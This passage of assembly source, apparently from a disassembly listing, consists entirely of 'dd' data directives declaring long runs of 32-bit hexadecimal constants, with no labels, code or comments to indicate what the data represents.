		dd 0EE634642h, 39DC71B0h, 93A37D79h, 0C0BE10C1h, 2489BA64h
		dd 0DA31C53Eh, 44143EAh, 0E5B958E8h, 599BEB3Eh,	3358BB33h
		dd 7C607858h, 86CD92C4h, 0DBE577FCh, 6A901C00h,	29E1BC5h
		dd 430F48CEh, 906A5A9Eh, 0B9774827h, 277B5BF0h,	0F7D88563h
		dd 1E33265Bh, 0BC514631h, 0E9AE5270h, 0C3618465h, 0CDBD5FFDh
		dd 4645BD98h, 1CC9BBF3h, 8E568DECh, 7867AF36h, 0A6A9016h
		dd 9DBF1205h, 0CF9FA8BCh, 660BD3BEh, 80C0F1A7h,	0D19C311Eh
		dd 1F095124h, 3926DC54h, 5BC98ADCh, 491449E8h, 5998065Bh
		dd 0A7FA09CAh, 0EE730F82h, 7F4CFCE8h, 67D2568Ch, 8761670Eh
		dd 2B600852h, 984B37E5h, 69FCBBBFh, 8A80C9BDh, 0DFDED56Eh
		dd 683D2283h, 9A781C0Eh, 8AAF05Dh, 6A01514h, 0E7EF35B1h
		dd 0AE5052D1h, 0A4D5C560h, 82F561BEh, 0EBF55976h, 0EDA9D448h
		dd 7CDF0F39h, 0AD05F03h, 9E10E1EBh, 0C5AF930Ah,	2C924C58h
		dd 72088E4Ah, 742398FBh, 0CBC30DA9h, 192ECD92h,	0BA370ABAh
		dd 0FD3F54D0h, 87B69970h, 0A651A474h, 904836E4h, 72A9BF90h
		dd 0BB7493A9h, 32038B83h, 0B8846351h, 0B89737E5h, 0AE45CFDDh
		dd 0B7C0AB55h, 0D4BB4592h, 6B9D33Fh, 0A9B59B5Fh, 0DA2B17CFh
		dd 5DC05663h, 2F13583Ch, 2356D2A9h, 72B45BB0h, 0E7C3AC7Bh
		dd 0E40BB2BEh, 5E0FCC2Fh, 0D30921D9h, 0D4D8B1Fh, 13482117h
		dd 6AEFACA1h, 0DD4401E9h
		dd 990DD776h, 293A2AEFh, 0DC40C62Dh, 0BB14AD77h, 8C39CFBAh
		dd 0A13A406Eh, 0B31F4159h, 2CCDED3Fh, 5EF63056h, 0A95F92E5h
		dd 0A08BD3B8h, 8E1354BCh, 125BD81Eh, 9D0F7F8Bh,	0EB768F8h
		dd 0BED7C6D6h, 63B2C9CCh, 0B4F6598Ch, 1BFC273Ch, 0C4E79E30h
		dd 0E315B079h, 19406B26h, 8C0B4069h, 77E3EA3Ch,	0D17865A9h
		dd 73EADAEh, 0E4331AA5h, 50BF8C32h, 71E8425Fh, 0FB59AC4Fh
		dd 0FC4AACC0h, 0AD07818Ah, 973B09Dh, 0B9A07961h, 0DF8FF596h
		dd 0A0211E9h, 9A0AFB9Ch, 4D6F76DFh, 6940025Fh, 0B4D35E70h
		dd 0F69E95E1h, 9758DA7Fh, 9162FB35h, 73C15D7Dh,	0C1860022h
		dd 0ECACF161h, 7BED7074h, 9CEC0DCFh, 4FE206F3h,	501AF8B8h
		dd 8A2B645Eh, 71A8231Bh, 3F851761h, 93A115DDh, 0A6A70CB4h
		dd 7216B8B4h, 8620DFDEh, 0C49E95B0h, 5A8EE095h,	0AC6EBCA1h
		dd 59E10469h, 0A694B428h, 6C9A026Dh, 444ED50Ah,	9560ACF4h
		dd 0FE28DF20h, 0F031DD40h, 0BA799E3h, 0BFC87B3Bh, 0DCC8C0F6h
		dd 0ACA02617h, 609E7E36h, 0ED33EBD4h, 0B9F94B26h, 9C4A88F8h
		dd 376901E4h, 0B2D6A04Ch, 6D4ED0D3h, 0A7D66CD3h, 3A407455h
		dd 1AF0E260h, 7235A436h, 0FBD0BA33h, 31123711h,	0A1FD973Eh
		dd 0B0C371E7h, 0EB4A3F70h, 6320D13Fh, 0FB04EE15h, 2E8620A7h
		dd 0B08BB08Bh, 8E911678h, 15C23DFDh, 3CEAD4B5h,	542C84C4h
		dd 0A30F7B1h, 91D60161h, 6DA085E6h, 0F643298Ah,	60E4DDF5h
		dd 0DC1139FEh, 0DBD61FA6h, 0E3096B38h, 542C7BE4h, 7B429A06h
		dd 4350566Eh, 0D076C51Ah, 0D2486D4Ch, 0C0F7FF46h, 8B4CF391h
		dd 7C8D0E0Eh, 0A1C57249h, 0EAC9EC6Ch, 639FA973h, 0DB9F7C0h
		dd 62DE9BEBh, 0B0017A85h, 0FB4E0E69h, 6A54BBE3h, 4DFCC369h
		dd 1F14A38Fh, 6FC4BF0Eh, 893E70A6h, 75272CF0h, 521E7EEEh
		dd 8F62AD83h, 4597D55h,	7441C9E9h, 0C3EF8DC6h, 4579DF1Ah
		dd 90610CC7h, 73318101h, 0DCF6D12h, 6A236DF4h, 75061136h
		dd 8793CA8Dh, 8DDBD3EFh, 0AB6FFCE0h, 9841C09Ah,	843272D8h
		dd 0E2537F0Ah, 0EED84DD4h, 8A9CF854h, 0F28D866Bh, 0B39AFCB9h
		dd 0C118EBB2h, 714CD44h, 4EA4714Ah, 0A72F8B0Dh,	4BDFB7DCh
		dd 0A938EC61h, 56C3283Dh, 0FD6707AFh, 993D6280h, 2BC025ADh
		dd 5534EBDAh, 41981D53h, 0B16B6405h, 0A467CB8h,	6796167Dh
		dd 0EB94BCE2h, 7E142B2Ah, 5D6857E8h, 57802CA7h,	5333FE34h
		dd 69B2FC07h, 6C4C5AB3h, 2687E464h, 4FB5F69Ah, 0B9F048DFh
		dd 0DA4C4267h, 7C37C2AFh, 3E8DD242h, 624EC618h,	9590AFF8h
		dd 3F56D053h, 7E340FB8h, 40D39679h, 0B819584Ch,	4EE30531h
		dd 0B6AD2B5Ah, 0F5694CA9h, 6292CB6Eh, 73AB69F9h, 0FA317F36h
		dd 30698FA0h, 2CABEEE7h, 1C9C83D4h, 0E738F6C9h,	79A9231Ah
		dd 8D34667Dh, 48A8CD9Ch, 0EB81D54Bh, 893A5C00h,	472FCF9Ah
		dd 0E5DC35F5h, 98B48398h, 1F080789h, 0D65716CCh, 0FB3DE950h
		dd 0AFA83367h, 716A5EA6h, 8F18D4Fh, 0B32C7157h,	28241FE2h
		dd 0A63F1E3Bh, 9B44AE40h, 6AC8A6FEh, 8B6ACA63h,	1FA21555h
		dd 0F29EB991h, 6E88F21Fh, 0CF76B31Ch, 0CF6ECD07h, 26C5976Dh
		dd 0AA367902h, 9731C74Ah, 0B6CE0A2h, 0CA23F9F0h, 79B51FA4h
		dd 0DCBD0FD5h, 4212E74Fh, 7FB41433h, 6DCD0751h,	0A9D91F50h
		dd 1DABC0C8h, 646FC785h, 0B074F597h, 0C2B5AFEh,	0ED6A3941h
		dd 0AADB7BAh, 29038DADh, 9750D182h, 0F98D34EAh,	280A01A2h
		dd 7DBC6D2Eh, 0E3876AE0h, 5B1831D4h, 9C760ABh, 96888D93h
		dd 55A5FB2Eh, 1F647A9Ah, 0B036EDE5h, 6370D606h,	4B718251h
		dd 0BC11593Dh, 58523237h, 23CE0996h, 0BCAFBC43h, 71F31142h
		dd 2A5F0AF9h, 89340600h, 4F544452h, 0A44A385Fh,	7415BB98h
		dd 826A1729h, 5BB04FBEh, 598CFBDEh, 9FE7D3C0h, 64721177h
		dd 0A3370A73h, 4970717Ch, 801438F5h, 805BD363h,	7E3573EDh
		dd 681F698Bh, 0D8F5BB95h, 89186E66h, 0D7024A8Ch, 4DEC1C25h
		dd 2B4FD972h, 6936F9DFh, 432D24EBh, 46FF6E27h, 7CB3E96Bh
		dd 4709028Bh, 59D81531h, 4B89D1DDh, 0BCED5F46h,	5156C489h
		dd 7476639Fh, 0E6831C9Eh, 912C0D9h, 16C75AEFh, 45C23F55h
		dd 181DD83Ah, 0A7A04613h, 87B4A64Dh, 3BF1CF8Fh,	12F41ABBh
		dd 0ACAF568Dh, 0A8F9E828h, 123A9CD3h, 319C8E5Eh, 0F4DD7CD8h
		dd 3814C989h, 2D90D18h,	0AB39AE98h, 0BA2D5B88h,	0D27E464Ah
		dd 24816E95h, 0E212220Dh, 0A0457435h, 3505ACAFh, 0DD748438h
		dd 82C4D8F7h, 93F41636h, 0D3A1F3ADh, 0CEA3B741h, 0D50344E3h
		dd 55FB512Eh, 9196DB23h, 620A3F67h, 33044C7Dh, 4AF37CF4h
		dd 13386A40h, 3BA51636h, 0A81ACC9Dh, 0B5ADB86Dh, 0C3171FA9h
		dd 21930F8Ah, 7D03A8A1h, 4DDA78D7h, 31AB6924h, 0EB5D295Eh
		dd 21D2D541h, 2DC68566h, 3485FC92h, 735EF47Ah, 0FEB00CF5h
		dd 4AC3C686h, 0D25B596Ch, 0FF17D96Bh, 627075D7h, 61DD6913h
		dd 81764708h, 94A622C5h, 724B5CD9h, 435FAB38h, 0DB5466ECh
		dd 0C4173D1Bh, 967B6010h, 0B635A1A4h, 0B4DA721h, 10EB1BCBh
		dd 0B64AFBB2h, 0EF49B394h, 5361EAC3h, 8525CD62h, 1EEE86FEh
		dd 853F85AEh, 0BBD7D67Ch, 8D0C288Dh, 3A3E6736h,	0B880F544h
		dd 0C3462033h, 972F529Dh, 3D2F6DEFh, 0E76FCDAAh, 9AB883E3h
		dd 0ECAF9DA2h, 1ECCCB57h, 260D8D08h, 4C048FB6h,	90470DA5h
		dd 9FB17CBFh, 0B02F853Dh, 4E2EC3A8h, 0C1DD7853h, 3A29A134h
		dd 0F4AF2565h, 689C228Fh, 96D8FB5Eh, 79EDC857h,	0DDF93887h
		dd 6D1229F9h, 217F16C9h, 2852CD49h, 595FD836h, 1E612464h
		dd 0C126EC65h, 889045F0h, 0CF206F4Bh, 42CE83h, 3BAFB388h
		dd 0B68B83A7h, 29A1FEBDh, 46629AE9h, 73A743CAh,	0BF54ED17h
		dd 0E5BA645Ah, 9484BA82h, 3286A443h, 0CE2BCCB3h, 0B9937BA6h
		dd 0F847F4E3h, 20E0821Bh, 17FA03D0h, 1F36EE7Ah,	4986D9EDh
		dd 60D7985Bh, 0CAE06FCAh, 3CB87BC0h, 8E023489h,	41B1150h
		dd 1DF442D9h, 135DDA5Eh, 0E34AACDEh, 42019E21h,	0F50018CDh
		dd 0F91871C0h, 0FB328F29h, 6F926D62h, 0F2ED2501h, 5375FCBFh
		dd 8D2506Eh, 5FD092FDh,	0AD3A22BDh, 0D023DA0h, 90B570CEh
		dd 0D8DC477Bh, 0F36304E7h, 0EDA7DC71h, 68CC9AA5h, 5E490DF7h
		dd 6A402451h, 1C7BE1C1h, 0A156B9B7h, 865F5574h,	7810DE10h
		dd 94D4C342h, 5E58A08Bh, 0EABADF8Ah, 0E5755D0Fh, 71FD1D6h
		dd 476B9C6Eh, 87EE05B6h, 0CC2EBCC3h, 0ADB4A7CAh, 0B9ADE4BCh
		dd 177C41F8h, 0B9DAFFDEh, 16643516h, 7C72AF98h,	410A225Dh
		dd 380A5716h, 0EACF595Ch, 8E1F93B5h, 6D16F7BFh,	0F49BD217h
		dd 51ED7C64h, 1562E18h,	3758DCCCh, 94B1492h, 5460AEB4h
		dd 9DE90822h, 0E4C0CB4Eh, 7C0EDAFCh, 6A1596D0h,	5797A562h
		dd 0D617D85Ah, 6A8E50E1h, 3AF3512Dh, 108EE475h,	143382E2h
		dd 0C0BAE812h, 55CB2151h, 0A219F28Eh, 38774C25h, 1A2F96B3h
		dd 0D25C8153h, 8906F5DEh, 0D661B187h, 0CBA41122h, 29CDFD8Bh
		dd 0D91F7AD2h, 0B707785h, 2762262Ah, 1DD69CE7h,	0D5CD5AE2h
		dd 3F747B74h, 0F3AF5371h, 24817D79h, 539AE0E2h,	0EF7CB196h
		dd 81CB1CA8h, 4EE1F156h, 74CB7EF6h, 118172D2h, 8405DB3Fh
		dd 0FCD0A17h, 0F7901183h, 4F28EE2Ah, 0C993916Bh, 4FBEA4D6h
		dd 74310366h, 0DDFB0347h, 931281BDh, 0D259E5C5h, 42F68353h
		dd 903D421Eh, 5BBC96DDh, 0EDE9594Eh, 20798BE1h,	901C1541h
		dd 83AF73E5h, 0D01F93CCh, 0EDA1965Fh, 0B127FB59h, 95D8F0BBh
		dd 0FE2BDF88h, 5B2C6159h
		dd 323EC4CCh, 8FEE800Dh, 244D69Dh, 0D55AFA09h, 6810649h
		dd 9F225D0Dh, 0FC373637h, 33F018AAh, 1ABBD753h,	19BD52DBh
		dd 4AEEC89Eh, 20F73236h, 31B5373Fh, 39874DBDh, 5AE03463h
		dd 3AD68520h, 8C217F94h, 0B365A2A0h, 7BBDEAD1h,	1000FE15h
		dd 5F51C59Ch, 7D8429AFh, 0F30D640Ah, 0E5A3EEABh, 0ACB5A06Bh
		dd 9E9FA57Eh, 0B80DF64Ch, 7F775371h, 0C995465h,	57C3D55Ch
		dd 0D86FC009h, 4EC63C91h, 39D9ADA1h, 7F5A9CCFh,	55EC1194h
		dd 0B8E12990h, 6B7201BDh, 40147C9Eh, 0BF3B761Dh, 9F19D566h
		dd 0FC7CF014h, 0C35C04B9h, 9C412E2Eh, 0B011613h, 0E68DA017h
		dd 6B236EEFh, 3BC95E49h, 0EC9E53FDh, 0BD2DF0Ch,	0ECF9FCA9h
		dd 22467D05h, 33383FF4h, 20FE9F0Eh, 6BE6189Dh, 0F37303EAh
		dd 0A602E22Fh, 0DB9B5830h, 0C2A99363h, 538A038Bh, 943F9ADAh
		dd 0BA4D83B3h, 0DE3CFB90h, 284808B3h, 0CAD39C9Dh, 0DE43293h
		dd 361CF59h, 7EE154D7h,	41410496h, 3841FEAEh, 619B21A0h
		dd 2BED53FBh, 657232Eh,	8FDE9171h, 0F8379E9Ah, 0B739FD1h
		dd 17B2D4CBh, 0CCE9507Ch, 856C0175h, 21E2B97Dh,	86C8A852h
		dd 0B14C1886h, 77509250h, 0A51B9201h, 0C8576F96h, 0A900CB5Dh
		dd 0DB1436AFh, 0BD64A480h, 0F2F1E1C8h, 6FB20BF7h, 95DF5EC4h
		dd 0CBC536B5h, 84C8F7A4h, 0FD665222h, 57F2368Fh, 0B6210C51h
		dd 291AFEE3h, 6B8BF3Eh,	1F374E23h, 0C1BDD0BCh, 143C5733h
		dd 0BC809BCFh, 8A264793h, 0E9834A18h, 0C56AEC1Eh, 3BAA0154h
		dd 0BFC8513Eh, 8555D4BAh, 26A7C1CBh, 0F4C36E4Ch, 0A55BEC9Eh
		dd 0D92A8318h, 0A04E8AAEh, 720E8359h, 89B4E687h, 93C4FF6Dh
		dd 7275DFCFh, 95F7C859h, 73EC6F04h, 2581834h, 0D858A27Fh
		dd 0F43EA808h, 0A34C218Ch, 3E517B85h, 4A94D411h, 0E51755C7h
		dd 0AD0EFBD1h, 0BA142AB3h, 5A3412A2h, 8F8BCD86h, 773BDA18h
		dd 8732D6DAh, 553358C8h, 0A18999D5h, 9B6A7769h,	9B156F1Fh
		dd 0CF3C30D8h, 0E606BC14h, 0BCFD046Fh, 62CAA5AAh, 0DC4F8F13h
		dd 89E83F38h, 0C2A869D9h, 143E7CC6h, 588B2920h,	6D64DF38h
		dd 0FD44A262h, 32B5FD2h, 0E4DC976Fh, 72EC839h, 0D8E8AB42h
		dd 5CC0AADFh, 9C3D3E13h, 59584049h, 4B3FF4DCh, 0C7303294h
		dd 56FCCE77h, 0A9EFD52Dh, 0A4DBA616h, 0C133B91h, 0C9F1DA05h
		dd 0A89CD4CDh, 0DF245D28h, 45DA5CE7h, 0DF2527E4h, 8ADD5D51h
		dd 698847F2h, 0EFC6D068h, 0F4BEBAB4h, 0A35CAD22h, 73B67BBh
		dd 2A37EA46h, 0BA004926h, 6B8FE053h, 0E77DFF58h, 0E5C2C899h
		dd 51EEE428h, 1BFE3BECh, 36C92609h, 28FCCF6Dh, 0C3C5894h
		dd 5E780B3Dh, 0DF2898B5h, 0ECA5ED51h, 9A1ED6C8h, 0C5F67CD2h
		dd 336C42C4h, 0E6B356BCh, 0EED8BA36h, 0BCAFC8F3h, 4ABAE383h
		dd 0DC07A3C6h, 0C299BF86h, 0B70CF8D5h, 2ED16F6Fh, 63374003h
		dd 4A2D7B06h, 3C423FE5h, 0F154557Dh, 3D9B44EFh,	322BA87Eh
		dd 0AF5289CAh, 0B7C49F8Fh, 9EAEF39Fh, 416FFB97h, 0FE640EE5h
		dd 8E56D936h, 879CC8B8h, 2006386Ch, 9D9B4C40h, 0B0545CAFh
		dd 787B559Fh, 231A9722h, 932B196Eh, 90E36368h, 0B07B06ABh
		dd 0CABBF78Bh, 954A335Dh, 6EB92FCDh, 6EFC490Dh,	92287422h
		dd 4E3FA6D4h, 86AE9683h, 0CF3EB426h, 0ACA98B83h, 197DDC1Ah
		dd 2255400Fh, 0BB26BC8Eh, 2727B5E6h, 96E9770Bh,	4A40D7F9h
		dd 0EB059D6Fh, 220DC96Fh, 0A5748163h, 0BBFC93F7h, 0EAC1CC53h
		dd 0DC3BD903h, 227B30A2h, 0AABA6BACh, 894D050Ch, 9C54AFF2h
		dd 0B5EA108Bh, 89E7E8AFh, 9748D5C7h, 8D798B6Fh,	0A34AD498h
		dd 220D6C52h, 156D1E75h, 0ED8F48Bh, 0C190A59Bh,	0EFD50CE2h
		dd 789DC31Bh, 2262D4F8h, 0C8A15474h, 0A186FCFCh, 6C11ED50h
		dd 0B3736A47h, 8730503Fh, 30C67B3h, 8FC1C332h, 0DEAF7CE4h
		dd 0F5E28E51h, 0CE940EF8h, 4A5049CCh, 83A3A8Eh,	3BD605F2h
		dd 0D7145E5Bh, 432B86A6h, 0C1A63B64h, 0C245791h, 636F7C6Ch
		dd 9FC3BF22h, 7AABD471h, 93457008h, 0E0256DEBh,	0CA6F628Bh
		dd 83FE6DC8h, 0E7C1117Bh, 9A2563BEh, 0A13EDFF8h, 1202C978h
		dd 5515BDF9h, 0BC792102h, 0F5456657h, 3E3D393Eh, 1A0C8408h
		dd 0FED8DE2Eh, 0C5775152h, 3441E172h, 0B5C883F3h, 5B919217h
		dd 7AB15h, 0CC455E5Fh, 59A34608h, 0E160D961h, 823E12EBh
		dd 8416117Bh, 0B7E2758Ch, 9AA20A30h, 9B5FA77Bh,	68BB6FB8h
		dd 0F537215Ch, 0AD5D7C97h, 51002534h, 0DEEDB53h, 0E09DFE49h
		dd 411E7DB5h, 4E36D755h, 8D1ED28Ah, 0FA236A2Ch,	1E414B8h
		dd 5B1792BCh, 494DF6BEh, 0BA7DFDFDh, 4FE9B720h,	1894F8D8h
		dd 75C67C9Ah, 0F4E37DD2h, 4B5C72E2h, 4E649EA4h,	0DABC0381h
		dd 0CBFF03E6h, 44684A29h, 2A222F82h, 0A2D401A4h, 20CB0C54h
		dd 0A1EAAE82h, 11BCE103h, 1B11A846h, 0BD774E76h, 41914D9h
		dd 99313DDEh, 0D6A0A220h, 0F9E67FCFh, 6A642B67h, 5F4DC27Eh
		dd 0D9E4B4DAh, 710AE5D4h, 0D867AFFEh, 2F2AAF08h, 0FCBD06B2h
		dd 6E406149h, 14721C5Ah, 775632FCh, 29D9470Fh, 8F020964h
		dd 6080F984h, 0BAB000CEh, 4027C8BFh, 13CB5D0h, 9DD6CB20h
		dd 2663415Ch, 0BDA32807h, 857FFBBBh, 643A47B8h,	0B183125Ch
		dd 0F3D544FAh, 0A614739Eh, 9B17BA28h, 0E022BC61h, 68E2C3FFh
		dd 757555B5h, 736F9A03h, 34A138D1h, 0A3711A2h, 1CD754D7h
		dd 7D5984D1h, 438E056Dh, 0E1CFCA2Ch, 24FF52AFh,	13D5353Eh
		dd 5B9A3689h, 0A9132569h, 0A6CC48C9h, 0E89FA67Bh, 0AAD8C824h
		dd 289F73C0h, 1640CDD0h, 6BB93E16h, 73C525Ch, 0F6FE53F5h
		dd 59F8568h, 6AF54224h,	75C2F2B4h, 8D4B1650h, 7A93D8E1h
		dd 88EED3BBh, 0CFDD725Bh, 4C1DB455h, 524A57D2h,	0D5CA192Ah
		dd 2F42648h, 661D40E8h,	4B3B9AE3h, 9BC0214Eh, 837C1EA0h
		dd 54B1BEAAh, 1AD6C3BCh, 6A8D6F05h, 0A8C0FD12h,	0C7685637h
		dd 870F8DF5h, 28E26357h, 82FD2983h, 76A47BE7h, 0E45F5B6Fh
		dd 6A000F84h, 7E6D4D2Eh, 4C892CC1h, 0A0808FFAh,	96A349A7h
		dd 0D92C2E27h, 0D86616A5h, 2EBBF5F3h, 0B09C6332h, 12F4E78Ah
		dd 544B055Ah, 2DEEAFFDh, 0BB93692Bh, 0B946A783h, 952BC312h
		dd 67CDBF56h, 22C7F7D3h, 0AC233EC8h, 0C4523E38h, 9AB3A04Bh
		dd 78651F76h, 0DBBB946h, 0EB043996h, 0CCBD17ADh, 8668F0CFh
		dd 22CCADFh, 9153AA7Ah,	0F6ABEBCEh, 8D9BF908h, 73749516h
		dd 0C49F8561h, 39581D9h, 5289CCAEh, 0F34DC6EDh,	4D76BEFFh
		dd 449B944Fh, 2885A683h, 0E4024BC7h, 0CE42EA0h,	12652797h
		dd 0AA9E57BAh, 0A4099470h, 94D1D3D5h, 5C5B9B24h, 820A3407h
		dd 2F91A8B5h, 0F788F05Ah, 49065DF3h, 64B49D9Ch,	0B3F20E2Ah
		dd 1153F32Fh, 4E238521h, 55B445E6h, 663EB636h, 238E48CCh
		dd 318FB56Eh, 386C85DBh, 0D51A9C47h, 441F3B6Eh,	120DC303h
		dd 3B007859h, 0A9B17B4Bh, 0B055387Dh, 0BACA13CBh, 0B049FD33h
		dd 6713FEDFh, 6C6CC50Eh, 14EA5E6Ah, 0A428D9D5h,	0EB31FD94h
		dd 0AEBC6E67h, 68795CB9h, 0F40A6C71h, 85CE61A0h, 0B420AC63h
		dd 0F58A42D9h, 486EEEBh, 0BCDD37A8h, 0D4E59296h, 830A58D1h
		dd 0E48E58ABh, 92533DB4h, 6EA70520h, 0F345A47Eh, 376E1E02h
		dd 99140837h, 0FCE0D0B3h, 0D7E55DECh, 8CA6DBCCh, 26848D93h
		dd 359F0A6Eh, 1D05C880h, 0B826F644h, 9A07CE42h,	0FE1F5A2Bh
		dd 6C764862h, 3EFEE8C3h, 32E95FCBh, 0A87C11C2h,	0CFE51CD2h
		dd 99E2AD14h, 1B2CA583h, 61856EBAh, 2A848F83h, 0AEB5379Ch
		dd 5C49A348h, 2F6CAAFFh
		dd 9AD5073Bh, 62BA06BDh, 8AC0988Ch, 0D84F76D4h,	0EFFD137Eh
		dd 0B36471E4h, 836A4126h, 85EC12FAh, 875EA478h,	339EF088h
		dd 0C59D9575h, 5CE7D3F6h, 0BAAD33A4h, 6DFF7611h, 35289373h
		dd 2D73389Dh, 0B8C3F231h, 700A147Bh, 96852183h,	59343EDh
		dd 67E40FFDh, 2E6111B6h, 0C22BB536h, 0D02E7E5Bh, 0F7D10A5h
		dd 0B6E1FBBBh, 3052E46Ch, 0A39E0A5Bh, 94E14033h, 3A8C95B9h
		dd 54B9E468h, 0A22C018Eh, 5893B420h, 5459162Ch,	33C51C7Ch
		dd 17DFDE5Bh, 0BB115D56h, 5202B5Eh, 4940A643h, 0EDC1D47Ah
		dd 60989C63h, 0D5CEAED8h, 936672CEh, 0DBA14D0Ah, 577DBBCCh
		dd 0D933C60Bh, 0B0910C92h, 0FFA64718h, 0F673BA88h, 0A837D36Eh
		dd 1B51ADB7h, 2495AD45h, 9C69DED3h, 9073BBBAh, 97FBA72Ah
		dd 6E6574BBh, 63D6611Dh, 2AE7C8A5h, 378C0AEFh, 29EC50F5h
		dd 0C3934E46h, 9968D81Bh, 4635150Ch, 0E65D48F8h, 5D0FE7DDh
		dd 62E4EBDCh, 755CF6FAh, 3A3C3D0h, 9A12B56Ah, 1D03B944h
		dd 97B871DBh, 35C72186h, 61C2DD85h, 0F3BB5CBAh,	0C62846FFh
		dd 0FD25D0F9h, 0F001BAD1h, 97A5A88Ah, 46C16283h, 79CADF36h
		dd 0DD00337Dh, 1D663799h, 6A4148D3h, 140BEC95h,	8ACBDF9Ch
		dd 1C115BD7h, 3E502A4Dh, 0CD6CEA86h, 0FA6DE2BAh, 0DF7BE5CAh
		dd 82CB87F9h, 5F905842h, 41B77FFFh, 29D54341h, 0D6732805h
		dd 0A37DB21Fh, 4E6E207Bh, 348C6495h, 51CFD860h,	7A0A50F0h
		dd 0D80811C8h, 2EF0CCFCh, 870FFE6Fh, 3E3F9A34h,	0EC4D729h
		dd 0F5A330FFh, 704F32E2h, 0A29FE2DBh, 10786131h, 0B9A2425Ah
		dd 67056DAEh, 37FBE413h, 0D159B318h, 6BEE475Fh,	8230E58Eh
		dd 0F959DEAEh, 0F76B7B6Ah, 0F476B7E7h, 0ED86847Ch, 14FF61E1h
		dd 566828A2h, 36AE39D2h, 3E102747h, 36657E45h, 0C4D06477h
		dd 44BFD2F4h, 0B30AF3B1h, 0BAD2FCA1h, 8BE598BBh, 0FA341957h
		dd 94266F3Ch, 2B9E9911h, 70D0AE15h, 0D87369E4h,	0AD3FEEF9h
		dd 0FBA26AAAh, 0AFCB51CBh, 2D252Ch, 0ED478636h,	5AE562C3h
		dd 6A5870C7h, 0AA9CBB41h, 149ADD2h, 4A3D8ECAh, 2518CFB9h
		dd 67EC38CFh, 0A1F32ACDh, 23543812h, 0CB1945E5h, 0D0783C6Bh
		dd 9F2A203h, 325471EEh,	5331C9B7h, 0BA992174h, 18B2EEB7h
		dd 0D808A262h, 0E9DA47B6h, 0C9436384h, 0BB347546h, 0CA2D00D1h
		dd 108152DCh, 0A101DF59h, 19A7B107h, 0FEF4F92Ch, 0EFDA1C5Ch
		dd 1BD7F30Ch, 0A3477F13h, 0D79D332h, 3A81A013h,	23C2A564h
		dd 0BA257C02h, 0C376B625h, 319F9AF6h, 5DE242CEh, 0F825EADAh
		dd 4FEC4F26h, 26E68331h, 0EB8BEFB4h, 0EFE2F6C4h, 0BFF317B1h
		dd 2B959242h, 0E09FDF28h, 296534EDh, 8607D53Fh,	8BDA1B99h
		dd 69EB7587h, 4870C567h, 7D94304Bh, 1BDEAF15h, 714EDEB7h
		dd 441DB54Bh, 3493FA4Ch, 977F1BDh, 0F7C32D0Ch, 49AF59E2h
		dd 45231D5h, 0F132E3D8h, 0D5073A98h, 48F2411Fh,	97D74254h
		dd 0DA301C13h, 0C67C995Fh, 253A5C50h, 575F01CCh, 0E7BA55F1h
		dd 0D6FF56B2h, 0ECB1B923h, 9FB2DAA3h, 0BD9B940Ah, 75F4BBD8h
		dd 8A47121Eh, 65055236h, 77B436E6h, 0A2EBF4E6h,	89719B73h
		dd 2100B6BBh, 1C83386Fh, 0EDE9A22Bh, 0F2505A44h, 8C0DF17h
		dd 1429A86Fh, 841554E1h, 5D9B7A3Ah, 2250C1F4h, 0EAA06410h
		dd 6BD9C089h, 0ADCA00F6h, 0AF6FD6B5h, 0B96B4631h, 0C0412864h
		dd 0F53418A2h, 5CF61B9Dh, 53E4A002h, 0A31F71C0h, 0C8E0E7EEh
		dd 0A89EA8CDh, 5E99581Ch, 158268F8h, 909B6116h,	71A93358h
		dd 0F939CEF5h, 3DBE4C44h, 599BCF44h, 0E93D2AA7h, 0F2B4017Bh
		dd 48091A73h, 0F5431258h, 0DE477FCh, 2B1AF2C3h,	6B67C37Bh
		dd 93F76BDBh, 33F4054Ch, 14A0021Fh, 0A03F159Ch,	291709D4h
		dd 0D1F1E694h, 0B747317Bh, 8683D909h, 9A1C5AFEh, 7DF090D2h
		dd 1F472D85h, 0E26B8B98h, 9D2EA055h, 0EC1891C7h, 0C29C468Ch
		dd 0FEE8F782h, 65CE772Bh, 1F5F2C4Ch, 0E38CCB6Eh, 317F6E3Fh
		dd 0A5E3C3C5h, 8C9FCE6Ah, 8472EAE8h, 0B73D62Ah,	0F8B19E45h
		dd 9187634Eh, 9E9C8D90h, 5D16BA1Eh, 0D8D1E537h,	0F5D2FD1Ch
		dd 640CBBF3h, 0B7F0772h, 1E79DE0Dh, 0E5B16873h,	0E7EE8CDFh
		dd 72B73AA3h, 9C74A53Ch, 46FC858Dh, 41D6C783h, 59DAE82Eh
		dd 0C05E2823h, 1491BF0Ch, 0E76ADAC5h, 877A5D27h, 83AC2EFEh
		dd 5ED1A062h, 74FFD9FFh, 77F41F9Eh, 3B31D02h, 0BAE27D8Bh
		dd 0E5BF5169h, 17B7AF51h, 0C06610CEh, 0FBD8266Bh, 4CD157D6h
		dd 0DA2CF22Eh, 13463E28h, 65AD5E9Ah, 0A7B3C187h, 3432C1F3h
		dd 0BCA7BE9Eh, 0F1E6256Fh, 0A4BD13C2h, 756EEA4Eh, 8493F649h
		dd 2258EB72h, 0A99A8C10h, 7A89EBB3h, 0DBE67559h, 0EF7CCE21h
		dd 0D686AE32h, 81FB0791h, 6EBDA7D2h, 0F54F2E1Ch, 0F4F96E34h
		dd 0B4ADBE3Dh, 807F6195h, 6DB7C86Ah, 9427A3D8h,	1F916F48h
		dd 0ACD974B4h, 0E107974Ch, 8A602F37h, 539AB898h, 72044341h
		dd 0C0345610h, 299A6B25h, 99489895h, 710FBD5Bh,	826BE35Ch
		dd 45BCE52Eh, 43DB7234h, 2948209Ch, 576810EDh, 0E643742Ah
		dd 314A756Bh, 0D1D89F4Bh, 0A6946EFAh, 0DD709FA7h, 0C7A9456Bh
		dd 788F67F7h, 0C251F5C9h, 8402F25Ah, 0CBB0B230h, 7790FFB2h
		dd 8B8EF751h, 11C10335h, 0BD2718A3h, 8B8E9AC0h,	0A42965E7h
		dd 0EF64A929h, 169E771Bh, 8F8D4719h, 41E3EBCFh,	0A66B6150h
		dd 0F0AF1E6Ch, 9E0049E9h, 0BDB55DC0h, 0BB177D9h, 558CC87Bh
		dd 0A4DEB75Ah, 6FD0FBECh, 6DC56F71h, 0DA823CA5h, 0B75E5360h
		dd 0D33507B7h, 6529B117h, 2FEB59E0h, 5597BFC7h,	0BCE1F758h
		dd 45A81D47h, 73D583Ah,	5A0A0C75h, 5BD33F77h, 2058E4B3h
		dd 0CD151393h, 0C3CF0D42h, 3A9FA35h, 89515965h,	4969F020h
		dd 0CDCAF551h, 0E0E22B26h, 3A511E80h, 30193634h, 4BCA0C27h
